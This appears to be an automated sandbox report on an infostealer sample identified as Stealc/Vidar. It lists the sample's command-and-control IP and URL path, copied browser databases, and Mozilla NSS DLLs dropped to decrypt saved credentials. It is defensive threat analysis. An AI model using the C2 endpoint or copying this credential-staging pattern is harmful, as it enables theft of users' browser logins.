World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541691
Start date and time:	2024-10-25 02:17:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse
	T220UXIoKO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse
	T220UXIoKO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHIIJJECGDHIEGDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGHDHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCAKEBFBKEGCGIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHJEBGIEBFIJKEBFBFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JKJDHDBKEBGHJJJJKEHDHJJEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJJEBGCFBGDHIDGCAEGDAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKJJJECFIEBFHIEGHJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: fXg8zgxVTF.exe, Detection: malicious, Browse Filename: T220UXIoKO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: fXg8zgxVTF.exe, Detection: malicious, Browse Filename: T220UXIoKO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
